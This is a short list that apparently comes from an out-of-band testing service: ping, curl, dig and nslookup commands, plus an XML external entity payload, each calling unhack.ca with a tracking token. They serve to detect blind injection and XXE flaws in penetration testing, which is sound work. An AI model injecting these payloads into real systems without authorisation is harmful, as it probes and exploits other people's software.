$ ping -c1 -p 000c8e0097faea879304b51a8d17ea00 unhack.ca
 

$ curl http://unhack.ca/p/0c8e0097faea879304b51a8d17ea
 

$ dig 0c8e0097faea879304b51a8d17ea @unhack.ca
 

$ dig 0c8e0097faea879304b51a8d17ea.ns.unhack.ca
 

C:\> nslookup 0c8e0097faea879304b51a8d17ea unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0c8e0097faea879304b51a8d17ea">]>
    <foo>&xxe;</foo>